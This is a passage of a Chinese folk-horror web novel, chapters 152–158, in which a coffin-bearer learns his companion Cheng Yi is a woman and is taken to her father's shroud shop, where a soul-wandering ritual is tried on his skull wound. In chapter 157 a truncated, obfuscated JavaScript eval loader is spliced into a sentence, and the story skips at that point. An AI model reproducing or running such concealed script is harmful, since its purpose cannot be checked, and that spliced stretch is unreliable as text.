这老东西很难对付,我和胖丫从上面滚落下来的时候,老杂毛也没能幸免,要是他没死透,肯定还是巨大的威胁。 我强忍着剧烈的头痛,朝四周看了看,胖丫就躺在离我大概四五米远的地方,一动不动,附近很安静,只有一阵一阵的穿堂风,除了风声,就什么也听不到了。 我心里不踏实,艰难的站起身,朝四周走了走。山沟是东西走向,我在左右两边各走出去了二三十米远,没有发现老杂毛的踪迹。 这老东西到底是死了?还是逃走了? 我不敢确定,转身回到了原处,等脑子稍稍安静下来的时候,立刻又想起了那个似真似幻的梦。 哑巴大爷在梦里说的情况,到底是不是真的,我没办法做出正确的判断,可我总觉得,我不会无缘无故的就做这么一个梦。 我的脑子微微有点乱,不受控制一般的一直在回想这件事,与此同时,脑海深处那些乱七八糟的记忆碎片,还是喷泉一样不断的冒出来。 既然这件事情已经露出了端倪,我就觉得,应该再回当初的村子,去找哑巴大爷当面询问一下,看看这个梦里的情景,究竟是不是真的。 陡然间,纷乱的记忆中,一下子跳脱出来一块碎片,让我瞬间就愣住了。 有的事,我的确记得不是太清楚,而且事情一过,我脑子里好像就完全没印象了。 只是在这一瞬间,我才突然想起来一件事。 那可能是我跟着师傅学艺之后的第三年,当时我只有十六岁,不过已经跟着师傅给人帮忙抬棺出殡了。 那时候我只是个学徒,大部分的事务还是师傅出面料理的。有一次,师傅接了个活儿,离家很远,我和师傅赶过去之后,师傅跟主家商量丧事的具体过程,我闲着没事,就在镇子里面闲逛。 最后,在这个镇子里,我遇见了一个小时候同村的人,那人比我大两岁,算是童年的玩伴。我没认出对方,是对方认出了我,拉着我说了好半天,我才略微有了一点印象。 当年那个村子里的人,或许也就是哑巴大爷给我留下的印象还比较深刻,跟那个同村的人聊了一会儿,我模模糊糊的想起了哑巴大爷,就找对方询问。 那人说,哑巴大爷已经死了,而且死了三四年了。 哑巴大爷上了年纪,即便去世了,也不算什么怪事。但是对方三说两说,就让我察觉到了端倪。 如果对方提供的信息没错的话,我前脚刚被师傅领养,离开小村,哑巴大爷后脚就死了。 哑巴大爷无儿无女,是村里的几个人草草料理了他的后事。村里人都说,哑巴大爷算是喜丧,无病无灾的,在睡梦中安然去世。 当时,我对这些事情没有太上心,因为印象真的极其浅薄。现在突然想起这件事,我就觉得不对。 哑巴大爷说是喜丧,在睡梦中去世的,或许也能解释为,他死的不太正常,任何人都没有看出他的真正死因。 哑巴大爷是我家那些事情唯一的见证者,他如果死了,所有的线索,其实就等于彻底的断绝。 我冥思苦想了片刻,最后不得不暂时停止了思索。现在的情况还不清晰,我和胖丫并没有完全脱离危险,首要之务,是得先离开这个鬼地方。 我走到胖丫身边,她还是没什么反应,但是,我看到胖丫的衣服上,全都是尚未完全干涸的血迹。他肯定有外伤,否则不会出这么多血。 外伤必须得及时处置一下,避免感染化脓,我又朝周围看了一眼,确定没有老杂毛的踪影之后,才取出了随身携带的一个小药包,从里面拿出了外用的白药。 我把胖丫的外衣给解开,不知道是不是用的力气有点大,等衣服解开之后,胖丫微微睁开了眼睛。 我定睛一看,就觉得胖丫的伤势似乎有点重。 “胖丫,你能听到我说话吗?现在感觉怎么样?”我心里有些慌张,急忙在他胸口按了按:“你的胸口怎么肿的这么老高?疼不疼……” 谁知道,我的手一按上去,感觉不太正常,胖丫的胸口鼓鼓囊囊,又软绵绵的。 第153章 同甘共苦 此时此刻,胖丫微微的醒转,一看到我把他的衣服给解开了,眼睛顿时睁的很圆,伤重之余,他也不知道哪儿来的那么大的力气,伸手就要把我给推到一旁。 “你一个大老爷们,怎么羞答答的。”我看见胖丫的外衣里面,还有一件短袖,短袖上面依然有点点滴滴血迹,心里只想着赶紧把他的伤口给处置好,就按住他的手,说道:“你有外伤,不处理处理,会有麻烦的。” “你……你起来……” “都这时候了,你就别犟了。” 我伸手就去脱胖丫贴身的短袖,胖丫好像很急躁,急的都说不出话了,一个劲儿的伸手阻拦。我们俩刚才从上面滚落下来的时候,我的状况比她要好一些,身上只有轻微的擦伤,所以力气也比胖丫大。 “别耽误时间了,那个老杂毛现在不知道怎么样,再被他找到,你去对付还是我去对付?” 我看着胖丫一直挡来挡去,就想着赶紧给他上好药然后离开,手上不由自主的加了点力,两个人已经撕扯了一阵了,这么一加力,胖丫身上的短袖刺啦一声,被撕开一个大口子。 我一下顿住了,就感觉脑子有点蒙圈。 我一直觉得,胖丫是个爷们,可是没想到,等他身上的短袖一撕开,我看的清清楚楚,他竟然是个女人。 这一刻,胖丫也差点重新昏厥过去,她急切的想要把我给推开,但我真的是蒙圈了,傻愣愣的坐在她身上,大脑就和短路了似的。 胖丫那模样,恨不得一头撞死在这儿。这事要是放到普通姑娘身上,估计不是她死就是我死。 但胖丫终究和普通姑娘不太一样,急躁了一会儿,突然就停了下来。 “既然看见了,那你就看吧。” “不是……不是……”我这时候才惊醒过来,一翻身就滚到了一旁。 我不是那种登徒子,也从来没想过趁人之危,只不过事情凑巧碰上了,心里就和打鼓一样,咚咚的跳个不停。我急忙转过身,背对着胖丫,结结巴巴的解释道:“我真的不知道……我一直觉得,你是男人啊,真对不住,对不住……” “不是给我上药吗,我的伤在腋下,还有后腰,上药吧。” “不不不……” “啰嗦什么?刚才不是还说了,外伤不处置,会有麻烦?快一点。” 我听着胖丫的语气,感觉她不是在说气话。我觉得,胖丫这人应该还是讲道理的,因为这件事的确属于误会。 我哆哆嗦嗦的重新转过身,却不敢正眼去看胖丫,手里拿着药,和筛糠一样,在她的伤口上洒。胖丫侧坐在地上,一言不发,我心慌的更厉害了,过了好一会儿,才把药上好,又帮她把伤口给包扎了起来。 一直到这时候,胖丫才慢慢的站起身,试探着活动了一下。 “怎么样?伤口没事吧?” “这件事,你烂到肚子里,敢随便乱说,我就打死你!” “我能跟谁去说啊……我……” “记住别乱说就行了!” 胖丫的确还算是讲道理,也没有揪着这件事不放,等到伤口处理完,我们就考虑离开。从我醒过来到现在,一直没有看到老杂毛,虽然周围看似平静,但老杂毛不现身,我又觉得不踏实。 我们开始顺着山沟朝东边走,一路上走的比较顺利,胖丫身上有伤,我的脑袋始终昏沉着,走走出这条很长的山沟,回到地面时,两个人的体力就有些撑不住了。 “胖丫,咱们……咱们走慢点吧。” 胖丫不答话,不过脚步却不由自主的慢了。我们俩在邪神庙这里并肩作战,我知道刚才的事情尴尬的要死,但也不想就这样一直僵持着,就想办法跟对方搭话。 “胖丫……” “我跟你说了多少次了,我不叫胖丫,该看的地方你都看了,我胖吗?” “不是不是,我就是不知道你的名字,也不知道该怎么称呼你。” “你知道我是万花门的,我姓程,叫程一,记住了没?” “程一,我记住了……真的对不住,你去邪神庙救我,故意把嗓门弄的那么粗,还一副男人的打扮,我就真以为你是男的……” 这个叫程一的姑娘没再答话,用手轻轻在自己的发际线那边摸索了一下,然后慢慢的揭下来一张薄如蝉翼的面具。 万花门俗称二皮,最早就是缝尸起家的,这一门的人对人体的皮肤和肌肉,可以说熟悉的不能再熟悉了,程一手里这张面具,精巧到了无以复加的地步,甚至戴着面具,都能产生各种表情。 “现在知道我是男是女了?”程一揭掉面具之后,回头看了看我。 我先前一直喊她胖丫,其实她的身段真的苗条,面具摘掉之后,我能看到她那张白皙的瓜子脸,虽然算不上什么倾国倾城的大美人,但很清秀。 要是只看长相,根本就想象不到,这么清秀的一个姑娘,之前跟老杂毛打的难分难解。 “现在知道了,胖……不是,程一,我真知道了……” 程一瞥了我一眼,那眼神好像带着一种嫌弃,但是,又好像有一种无形的幽怨。 “别盯着我看了,走吧。” 我刚要说话,本来就一直昏昏沉沉的脑袋,好像又炸了锅一样,这种感觉,我以前从来都没有过,就仿佛脑海中的记忆全都在急速的膨胀,活生生的要把脑袋给撑崩。 这种极度的眩晕,让我无法承受,我的眼前一阵恍惚,双腿发软,一头就栽倒在程一身上。 “你又干什么?别占便宜没够,我警告你啊……” 程一想要把我给推开,但是很快她就察觉到我的状态突然变的很差,她的阅历比我还要丰富些,自然能看得出我没有假装。 她皱了皱眉头,把我的一条胳膊搭在她的肩膀上,然后硬架着我走。她自己也有伤,再加上要拖带我,顿时就非常吃力。 第154章 同县平安集 程一的体力不支,不可能一直这样拖着我,所幸的是,我的脑袋昏沉了大概有几分钟,又一次渐渐的恢复了平静。 那种眩晕感减弱之后,身体就有劲儿了,刚才软绵绵的双腿也能自己行走。我和程一说了一声,她放开我,朝四周看了一眼,确定没什么危险,才轻轻皱了皱眉头,说道:“你头上的伤,可能不是那么容易就能痊愈的,要是一直不愈合,老是隔三差五的就犯晕,也不是个事。” “是啊,但是一晕起来,自己都控制不住。” “那你有啥打算?准备去哪儿?” “我……” 我就说了一个字,后面的话便说不出来了。 铁拐李不在了,石头现在也跟个活死人一样,剩下一个大甜瓜,屁用没有。我就算回去,肯定也得想办法去治治自己的脑袋。 而且,治好了脑袋,计划还没有终止,这一次去邪神庙,可以说基本没什么收获,石头为什么让我去邪神庙,我现在还是一头雾水。很明显,将来肯定还得再到邪神庙去。 我也不知道该找谁去把脑袋上的伤看一看,有些事情用脚后跟想想都能知道,脑袋上的骨头被人动了,这肯定不是普通的伤,一般的大夫没办法治好。 “实在不行的话……”程一又瞥了我一眼,说道:“实在不行,你先跟我走吧。” “去哪儿?” “去同县。” 程一说的同县,我没有去过,但是听说过。那地方是我们这里最大的一个县,下面有三个镇子,还有十几个行政村。 同县算是一个不大不小的交通枢纽,附近一些地方的土特产,一般都会集中到同县去卖。而且,同县地处中原腹地,人文历史悠久,同县附近的云苍山,是闻名四方的风水地,古代墓葬很多,盗墓贼,文物贩子,从古时候就开始盛行。 就因为同县算是一块肥地,有不少油水可捞,所以古往今来,都是一个三教九流鱼龙混杂的地方。 我以前就知道白八门里的几个分支,这些分支的核心家族在什么地方,没有仔细打听过。现在程一说了,我才明白,万花门的程家一向都是门内的翘楚,从几十年前,程家就搬到了同县。 程一的父亲程白鹤,说起来算是万花门的首脑,不过如今的时代和过去不一样了,程家基本只能管着自己的家族,万花门里杂七杂八的人,程家也管束不住。 我能看得出来,程一的确是真心邀请,我现在正需要人的帮助,要是人家满怀好意,我还推三阻四的,那就是不识好歹了。所以我略微一想,就答应了下来。 我们俩的情况都不太好,所以一路上提心吊胆,就害怕老杂毛再突然跟上来。不过,还算是老天爷眷顾,路上走的一直比较顺。两个人互相帮扶着,等到天色大亮,终于走出了十里沟。 十里沟附近也比较荒,我们都有点坚持不住了,但为了安全起见,还是咬着牙继续朝前走,又过了一个多小时,才拦住了一辆车,平平安安的离开了这儿。 一离开十里沟,我们才算真正放下心来,立刻又赶往同县,坐在去同县的车上,程一困顿不堪,没过多久就睡着了。我虽然也困,可是脑子里始终都有种很奇怪的感觉。 以前,我基本不会去追忆什么往事,因为往事太模糊了。可就从在十里沟昏迷的时候做的那个梦开始,我一直都觉得,自己的脑海深处,像是不断的喷涌着非常细碎的信息。 这些细碎的信息,无疑就是之前的一些记忆,但是很零散,一点都不完整。 我不由的就回想起了大甜瓜和石头,他们两个在王川山风水地的时候,都像是着了魔一样,突然回忆起了一些不存在与脑海中的记忆,我当时还觉得,是不是有什么特殊原因,或者这俩人身上本来就隐藏了什么秘密,才会导致这种情况。 可我没想到,这种事情,如今也落到了自己身上。 但是,脑子里那些乱七八糟的信息都是极为零散的,根本拼凑不起什么完整的线索,一直到现在为止,连我自己都不知道究竟在回忆什么。 几经辗转,我和程一就到了同县。同县果然是个热闹繁华的地方,我这样的乡下土包子以前从来没到过这里,一时间看的有些眼花缭乱。 “先别看了,你在这里住一段时间,我想办法让我爹给你看看脑袋,等脑袋看好了,你有的是时间来闲逛。” “好,咱们先走吧,你家在县城里面?” “在县城里的平安集。” 程一说的平安集,是同县一个比较特殊的地方,以前,每逢初一十五的时候,县城里有集市,附近的村民各自带着土特产之类的东西,到集市来叫卖。 后来,平安集被撤销了二三十年,这几年环境松了些,做生意的人渐渐多了,重新聚集到了平安集的旧址。这里虽然已经不是集市,却比集市还要繁华。 附近方圆百里的人都知道,同县的平安集里,做偏门生意的人很多,古董商人,赌钱的老千,混江湖的二流子,经常聚集在这儿。程一的父亲程白鹤就在平安集的一角开了一个寿衣店。 我们白八门的人做生意,一般都是跟丧葬有关的,不过,程白鹤的寿衣店表面上做小本买卖,暗地里肯定也要做点见不得光的生意,否则的话,根本不够日常的开销。 我和程一这一路上其实都在硬撑,等到了平安集的程家寿衣店的时候,程一终于坚持不住了,进门就噗通一声扑倒在地。 第155章 程白鹤 寿衣店平时不可能有什么客人,店里只有一个长的贼眉鼠眼的小伙计,坐在凳子上打盹。程一已经揭掉了脸上的面具,那个贼眉鼠眼的小伙计被吓醒之后,一看倒在地上的程一,立刻就慌了。 “店里还有人吗?叫来帮忙。” 我扶着程一,先让她坐在凳子上,小伙计很机灵,二话不说,转身就到后院去喊人。 很快,一个看上去大概有七十岁左右年纪的老人,脚步急促的从后院赶了过来,一看见程一这样子,老人就急了,手忙脚乱的,眼神中全是关爱和挂念。 如果我没有猜错,这老人应该就是程一的父亲程白鹤。 在我们白八门里,程白鹤算是一个人物,不管时代怎么变迁,万花门都是四大宗的嫡传之一。我以前听说过程白鹤,并没有见过他。 程白鹤父女两个的岁数,差的有点太多了,程一的年龄和我差不多,就是二十岁左右的样子,但程白鹤得有七十岁上下,说是程一的爷爷都有人信。 其实,关于这件事,白八门里面早就有传闻,说起来还挺神奇的。 据说,程白鹤出生的时候先天不足,阳气很弱,算命先生还有大夫都说过,这孩子估计活不长。 但程白鹤还是很顽强的活了下来,只不过他少年时,正是一片乱世,到处都在打仗,兵荒马乱的,程白鹤的家人先后亡故,就剩下他一个人。 如果按照正常情况来说,万花门程家一脉的道统,估计就要断在程白鹤手里了。不过,这个人出生的时候运势不好,长大以后运气却一直在走上坡路。他不仅在乱世里活了下来,而且还靠着祖传下来的那些门道,渐渐创出了一些名堂。 等到程白鹤有了点名气之后,程家一些旁支和远亲都过来投奔,势力逐渐就壮大了。有那么几年,程白鹤跟几个很有后台的人一起做买卖,表面上看,都做的是死人生意,但暗地里肯定还是有猫腻的。 程白鹤混到那种地步,对他来说,其实已经算是老天爷照顾了,但美中不足的是,程白鹤先天不足,长大以后又一直在做死人生意,白八门的四大宗里面,跟尸体接触最多最深的,其实不是我们抬棺匠,而是万花门。 我们抬棺匠如果不遇到什么特殊事件,跟尸体就不会直接接触,中间会隔着一口棺材。但万花门的人不一样,他们本门的看家手艺,还有后来衍生出来的一些门道,都和尸体有密不可分的关系。 长年累月直接接触尸体的人,必须要阳火很旺才行,白八门的人要么就是五行命格好,要么就是阳气重,像程白鹤这种先天不足而且五行命格又不占优势的人,其实很难混的太久。 他也确实算是一个异类,在白八门混的风生水起,等到功成名就的时候,程白鹤就傻脸了,因为他一直没有子嗣。 程白鹤这人,那时候还算是正派,只有一个原配老婆,结婚十多年没孩子,程白鹤心里很着急。在那年头,夫妻俩生不出孩子,一般都认为是女方有什么毛病。 程白鹤的原配老婆虽然不情愿,但也没有别的办法,睁一只眼闭一只眼,程白鹤在外面养了女人,又过去几年,依然生不出孩子。 其实,程白鹤之前心里就隐隐忧虑过,一直生不出孩子是不是自己独特的体质造成的,这十几年过去,他终于确定了,应该就是自己的问题。 这种老辈人都有非常固执的观念,不管自己的生意做的多大,门徒有多少,自己没个一儿半女,肯定是不行的。从那时候开始,程白鹤就在到处想办法,寻医问药,想要调理调理。 医药不可能治百病,程白鹤找了无数的方子,依然没用。就这样一直拖延下去,直到他年近五旬,还是没有一男半女。 人到五十都没孩子,基本上也就绝望了。 那几年的风声很紧,和尚道士,巫婆神汉基本上都绝迹了。有一次,程白鹤无意中遇见了一个人,那人看上去非常的倔强,依然留着发髻,保持道门的装束。 这人平时不去城市和村镇,就在无人的荒野里风餐露宿,当时的条件很苦,粮食不够吃,山野中能吃的东西都被人给弄走了,这个道士装扮的人还是不肯出去。 程白鹤跟对方交谈了一番,他是混迹江湖多年的人,眼光很毒,当时就觉得这个道士不是一般人,两个人因此相识。 后面的一段日子,程白鹤时常都硬挤出一些粮食之类的东西,接济这个道士,过了有大半年,道士就跟程白鹤说,总是拿他的东西,心里过意不去,想要回馈给程白鹤一点礼物。 道士把程白鹤带到荒野附近的一个山洞,等进了山洞,程白鹤就愣住了,心里又是诧异又是震惊。 山洞里堆着十来具尸体,都是从土里刨出来的,有的明显已经死了很久,尸体已经高度腐烂,有的估计入土的时间不长,大概还保持着完整。 等程白鹤惊讶过后,再了解到具体的情况,顿时就对这个道士感恩涕零。 山洞里的尸体,看着好像挺恶心人,却不是那么容易就能凑到的,这些尸体生前都是八字纯阳的人,八字纯阳和八字纯阴的人都不好找,搜集这十来具八字纯阳的尸体,肯定费了老鼻子劲了。 道士就是靠着这十来具八字纯阳的尸体做法事,补缺程白鹤的先天不足,这可能也是唯一能补救的办法。 等道士帮了程白鹤之后,程白鹤立刻赶回家,他当时差不多有五十岁了,好在他的妻子比他小了差不多一轮,还不到四十岁的年纪,没过多久,竟然真的怀了身孕。 程一估计就是这么出生的,虽然是个女孩,但对于程白鹤来说,已经算是上天赐予的恩惠。 程白鹤那么大岁数才有这么一个女儿,肯定看的比自己的命都重要,他是老/江湖,心里虽然慌,但仍有分寸,立刻转头望向我,问道:“她受了什么伤?” “应该是外伤。” 程白鹤立刻抬手叫来那个小伙计,让他去请人。平安集这里非常热闹,什么样的人都能找得到,没过一会儿,小伙计就带着一个大夫回来了。 第156章 无形的成见 程白鹤请来的人肯定是靠谱的,等大夫一到,先给程一诊治。程白鹤一直都在强装镇定,其实我看得出来,事关自己唯一的女儿,他心里肯定发慌。 不过,程一的确受的都是外伤,尽管比较重,也不会危及到生命,那个老大夫仔细的诊治了一遍,跟程白鹤说了情况。 直到听见程一不会有性命之忧,程白鹤才算松了口气。但是看到程一的外伤那么重,程白鹤还是心疼,在屋门外看了好一会儿,程一昏厥了之后还没醒来,那个老大夫安慰了几句,程白鹤才慢慢的退了出来。 “老兄弟,大侄女的伤,要养一段时间,不过你还是放宽心,没有大碍的,我这边开个方子,休养的更快一些。” “老哥哥,麻烦你了,谢谢,谢谢……”程白鹤道了谢,又对那个贼眉鼠眼的小伙计说道:“小皮,杨先生开了方子,你就去抓药,别耽误。” “是。” 那个叫小皮的小伙计带着老大夫去了前头,老大夫给程一诊治的时候,我一直在旁边看着,也不敢出声,直到此时,程白鹤才郑重其事的打量了我一眼。 程一是我送回来的,程白鹤不傻,知道程一受伤肯定和我有关系,不过,到底是见过世面的人,并没有冲我发火,只是心平气和的询问了几句。 我的底细,程一已经知道了,就算我不说,程一醒过来也会说,所以没有隐瞒的必要。 “我是白八门里的白杠子,是梁家的徒弟。” “梁家的徒弟?” 当我说出自己的来历时,程白鹤的眼神里,明显闪过了一丝精光。我跟他不熟悉,也不了解他的脾气秉性,但是,他眼神里闪过的光,让我感觉有一丝防备和排斥的意思。 “是,我师傅是梁勇。” “梁勇的徒弟……我女儿这次到底是怎么受的伤?” 我还是没有隐瞒,把在邪神庙的经过大概讲述了一遍。一听到邪神庙,程白鹤就有点忍不住了。 其实我和程一完全就是歪打误撞的在邪神庙那边碰见的,这件事情根本谈不上是谁主导谁。可程白鹤那种表情,就好像是我把程一给带到邪神庙似的。 “你们这些年轻人,真不知道天高/地厚!跑到邪神庙那种地方,真是……真是……”程白鹤在我面前背着手,来回走了几步,说道:“那地方是会死人的!你不知道吗?你……” “老程……” 程白鹤正在数落,屋子里就传出了程一的呼喊声。程一的声音虽然显得有点底气不足,不过应该是不太要紧的,就和那个老大夫说的一样,只要好好休养,不会出大事。 程白鹤对程一是真的挂念,一听到程一的呼喊声,立刻闭上嘴巴,三步并作两步就到了屋子里。 “你这个孩子啊,你这个孩子啊……” “我这不是……没事吗……”程一苏醒过来之后,脸色还是苍白苍白的,不过精神比之前好了一点,她艰难的转了转头,隔着大开的屋门看了看我,然后对程白鹤说道:“你别为难他……” “你不知道他是谁?” “我知道……” “你既然知道,你还跟他混到一块儿去?梁勇的徒弟,靠谱吗?” “梁勇是梁勇,他是他,不是一码事。” “你……你什么都别说了,这次又折腾了一身伤,老老实实养伤。” 他们父女两个的对话,我听的很清楚,程白鹤肯定是认识我师傅的,都是白八门的人,相互认识这也不奇怪。 但程白鹤显然对我师傅有很深的成见,而且,这种成见无形之中就落到了我的身上,程白鹤看我的眼神就好像防贼一样。 我受不了这种目光,在平安集这样人生地不熟的地方,本来就不习惯,一看到程白鹤如此态度,我就不想留下来了。 “程一,你好好休养,我还有点事,先走了。” “你先等等!你身上也有伤,要到哪儿去?” “我的伤不要紧,回头找个人治治。” 程一很聪明,自然知道肯定是程白鹤的话让我不舒服了,她强撑着在床上坐起来,说道:“老程,我都和你说了,一码事归一码事,你对梁勇有什么成见,何必强加到别人身上?我和他结伴走了一路了,他们白杠子的事儿,我也都知道,梁勇什么都没告诉过他。” “人的心,都是隔着肚皮的,你能看得见?” “我信他。” 程一可能是想说服程白鹤,就把在邪神庙的经历着重说了,尤其是我没有丢下她独自去逃命的经过,程一说的很清楚。 程白鹤就算不信别人,也不可能不信自己的女儿,听到这些之后,迟疑的看了我一眼。 “他身上也有伤,当时在邪神庙,要是他丢下我自己跑了,也不会有后面的事,咱们做人,不能这么不讲情分吧?他师傅都死了三四年了,无依无靠的,你现在让他走,走到哪儿去?” “好好好,你总是有理,既然是因为你受的伤,我们也不是无情无义的人,总归要给他好好治一治,需要花多少钱,需要用什么药,咱们包下来就是了,但有一样,往后你哪儿也别去了,就老老实实呆在家里。” 程一一直在替我说情,我听着他们的对话,心里还是感觉不舒服。年轻人的骨子里,都有股倔劲儿,我不可能低三下四的去求别人。 我打算在这儿稍稍逗留一下,然后找个机会走。 心里这个念头刚刚冒出来,脑袋上那块松动的头骨,又开始隐隐作痛。 那种痛,不是单纯的疼痛,而是疼中带痒,就好像无数只蚂蚁顺着头骨的缝隙爬到了脑袋里,疼的钻心,痒的难受,让人恨不得伸手在脑袋里面使劲的挠。 我可以确定,头顶的骨头肯定是老杂毛给取掉的,现在除了咒骂老杂毛之外,我真的是一点办法也没有。 短短两三分钟时间,脑袋上那种让人难以承受的痛痒就不断的加剧,蔓延,到了最后,好像整个脑袋都陷了进去。 没有人能承受这样的痛苦,可是我又不想在程白鹤面前失态,让他小看我,拼命咬紧牙关,想要硬熬过去。 第157章 另类手法 虽然我已经拼尽全力在硬撑了,但自己的体能终归有限,人不是铁打的,总有熬不住的时候,又是短短两三分钟,我实在扛不住了,一个踉跄,险些摔倒在地。 程白鹤是明眼人,知道我没有伪装,快步从屋子里出来,伸手扶住了我。 程一和我走了一路,知道我脑袋上的伤很要命,急忙也跌跌撞撞的下床,程白鹤心疼女儿,回头说道:“有我一个人扶着他就够了,你先回去。” 程白鹤把我也弄到屋里,让我坐在一旁的椅子上,此时此刻,要是没人扶着我,我可能连坐都坐不稳。尽管难受的要死,但脑袋上的伤口没有缓解的办法。 我就好像在鬼门关来回走了一趟,被折磨的死去活来,所幸的是,脑袋上的痛痒没有持续太久,几分钟之后渐渐的停息了。 等我缓过这口气的时候,就觉得活着真的是太累了,本来脖子上的红印发作就很让人难忍,如今脑袋又出了问题,实在是有苦难言。 “你头上的伤,是怎么回事?” “不知道……” “自己的伤是怎么来的都不知道?” “他怎么会知道?”程一在一旁解释道:“他是昏过去以后,被邪神庙那个老杂**给抓住的,等醒过来,脑袋上就有伤了,人昏着的时候能知道什么?” “你这个孩子,他的事情,你怎么知道的比他还清楚?” “我说的都是实话,哎呀,不说别的了,老程,你想想办法,给他治一治。” 程白鹤应该是不太懂医理的,否则也用不着请人来给程一看病。他想了想,觉得还是要还我个人情。 这时候,那个叫小皮的小伙计拿着药方回来了,要给程白鹤过目一下,然后去抓药。 “小皮,你去抓药的时候,顺便再把杨先生请来一趟。” “不是刚把他送走么?怎么又要请?” “杨先生是大夫,请他来肯定是给人看病。” “那刚才咋不让他一块儿给看了,请来了又送走,送走了又请来,三大爷,你到底是溜我呢还是溜杨先生呢……” “叫你去你就去,怎么那么多废话。” 小皮嘟囔了两句,然后转身又去请人。平安集总共就这么大,十几分钟以后,刚才那个老大夫就又回来了。 老大夫的经验非常丰富,同县这个地方,油水很足,靠着这里混饭吃的人也很多,火拼斗殴是常有的事,老大夫平时看惯了各种外伤,但是,等他看见我头上的伤口时,也楞了一下。 “这样的伤,可不是一般人能留下的,头上的骨头取掉一小块,还没有伤到脑子,不简单,真不简单……” “杨先生,这有办法治一治吗?” “伤是怎么来的,有啥症状,说清楚点。” 我差不多已经恢复了正常,就跟杨先生说了一遍。杨先生听我说脑袋受伤以后,经常会头晕,而且会莫名其妙的想一些以前没想过的事,他就犯难了。 “老兄弟,他这个伤说白了,也不算太要命,取掉骨头的人并不想让他死,所以下手有分寸,我自己配的接骨膏给他用了,骨头茬子能慢慢的重新长好,但你得先做好决定,现在到底要不要给他治?” 程白鹤也是明白人,杨先生一说,他就听懂了。我的外伤好治,但杨先生不能确定,真把骨头给长好以后,会不会落下什么后遗症。要是骨头长好,发现病根是在脑子里,到时候还得想办法再把伤口给弄开。 “老兄弟,要我说,这个伤口先留上两天,你们也琢磨琢磨,我虽然不是神汉,可根据我的经验,这个伤口不简单,再想想吧,要是真的打算治,随时叫我来。” “好,杨先生,真是麻烦你了。” “都是老熟人了,说这些话就见外了……” 程白鹤亲自把杨先生送出门,等他再回来之后,就想了一会儿,问道:“按杨先生说的,你的伤不是一般的伤,你有啥打算没有?是治,还是再等等?” “我也觉得,不是一般的伤。” “刚才你说了受伤以后的症状,你看见自己脑袋那个缺口,是个洞?” “对,有一次快要昏过去之前,我看见自己脑袋上的缺口就是个很深的洞。” “里面有什么东西,看得见吗?” “看不见,要是能看见,也就没这么麻烦了。” “这事情倒是真有意思……” 程白鹤背着手走来走去,不管是他,还是杨先生,总归都是人,不可能和神仙一样,把我脑袋里的东西看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好吧。”小皮挤眉弄眼的想了一会儿,一拍大腿,说道:“你们俩都说了,那我还有啥办法,咱可说好,就这一回。三大爷,来吧。” 说完这句话,小皮直接就面对墙壁站的直挺挺的,程白鹤微微转动了一下手腕,突然间一个大巴掌就冲着小皮的后脑勺抡了过去。 程白鹤七十岁的人了,但以前肯定练过功夫,这一巴掌力道十足,小皮的额头距离墙壁只有十厘米,这一巴掌抡到后脑勺上,已经很重了,而且,脑袋上的惯性一点没减,额头也跟着重重撞到墙壁上。 咚的一声,小皮一翻白眼,直接就撞晕了过去。 第158章 一座坟 程白鹤的举动直接把我给弄晕了,我不知道这究竟是什么意思。 小皮就躺在墙根那边,额头上有个显而易见的大青包,仍旧翻着白眼,肯定是昏厥过去了。 这时候,程白鹤冲我招了招手,示意我过去。我走到跟前,程白鹤指了指小皮旁边,小声说道:“你就躺在这里。” “干什么?” “你躺下就是了,没事的。”程一在旁边劝了一句,我知道,程一肯定不会坑我,虽然不清楚具体情况,但应该是对我有好处的。 我按照他们说的,躺在了小皮的旁边,等躺下之后,程白鹤还有程一都朝后面退了退。 我心里七上八下,想要找程一问问,但又不敢随便开口。我不由自主的扭头看了看一旁的小皮,这一转头,立刻就看到小皮的脸庞,已经隐隐有些发青。 也就是这一瞬间,我突然想到了很早以前听师傅讲故事的时候,说起的“神游”。 神游是道门里的一个名词,说的就是道门里的高手,精通了观想术,能让自己的魂魄离开身躯。魂魄无形,来去如风,一夜之间可以纵横千里,所以也叫做“神游”。 神游这种事情,在现在已经很少能真正遇见了,因为道门的观想术不是一般人能够修成的,需要极高的精神境界,如果现在还真的存在能神游的高手,那也是凤毛麟角。 师傅跟我讲神游的时候,还说过一种很特殊的情况,那种情况也是神游,不过和道家借用观想的神游不是一回事。 师傅说,有一种人天赋异禀,可能一百年都不见得能出一个。但这种人的天赋异禀,并不是好事。 普通人的魂魄在身躯里,很难脱体而出,即便有时候遇见了“丢魂儿”的怪事,那也是因为某些特殊原因造成的,比如说碰到了极度的惊吓,或者被什么脏东西上了身。 而且,普通人就算真丢魂儿,魂魄也不会飘的太远,一定就在身躯附近,所以民间老百姓碰见这样的情况,都会请人来喊魂,只要一喊,魂魄就会归体。 丢魂儿这样的事,一般都出在孩子身上,成年人极少会有。 但师傅说的那种天赋异禀的人,很容易丢魂儿,平时睡觉的时候,魂魄都可能脱体而出,如果碰到昏厥,那百分百会丢魂。 更重要的是,普通人丢了魂以后,不管是自己的身躯还是魂魄,都不会再有任何的感知力,但这种人丢魂以后,魂魄还有一点对外界的感应。 也就是说,别的人苦苦修行了很多年,才有很小的几率能修成观想术,但这种人好像先天就已经能够观想出窍。 要是有高人再加以指点,这种人的魂魄的感知力会更强。 这其实是个很了不得的本事,人的肉眼,也称为阳眼,只能看到阳间的东西,而神游的魂魄是阴眼,能看阴间的东西。所以传说中那种棺生子之类的人,可以自由穿行阴阳两界,是天生的阴阳眼。 这世上到底有没有阴间,我不清楚,但天生神游的人,的确可以通过阴眼,看到很多普通人看不到的东西。究竟能看见多少,这都是根据神游的人有多大的本事来决定的。 我不敢确定,旁边这个贼眉鼠眼的小皮是不是天生就能够神游的那种人,不过,根据程白鹤的举动,我觉得应该差不多。 “他……他是在神游吗?” “算你有点见识。”程一此时全神贯注在观察我的情况,好像精神比之前又好了一点,小声说道:“先别说话了。” 我知道了大概情况,心里总算是踏实了点,现在正是大白天,这个小皮如果能神游的话,那就很了不得。神游分为夜游和日游,魂魄畏惧阳气,一般都是在夜间出窍,要是敢在白天出窍的,那必然深谙此道。 我躺着没动,旁边的小皮也没动,过了大概有十分钟时间,小皮双手的手指,似乎轻轻/颤抖了一下。这就意味着,他出窍的魂魄已经重新回归到身躯内了。 魂魄虽然回归,但人还没醒,程白鹤过去查看了一下,说道:“行了,你起来吧,等他醒过来再说。” 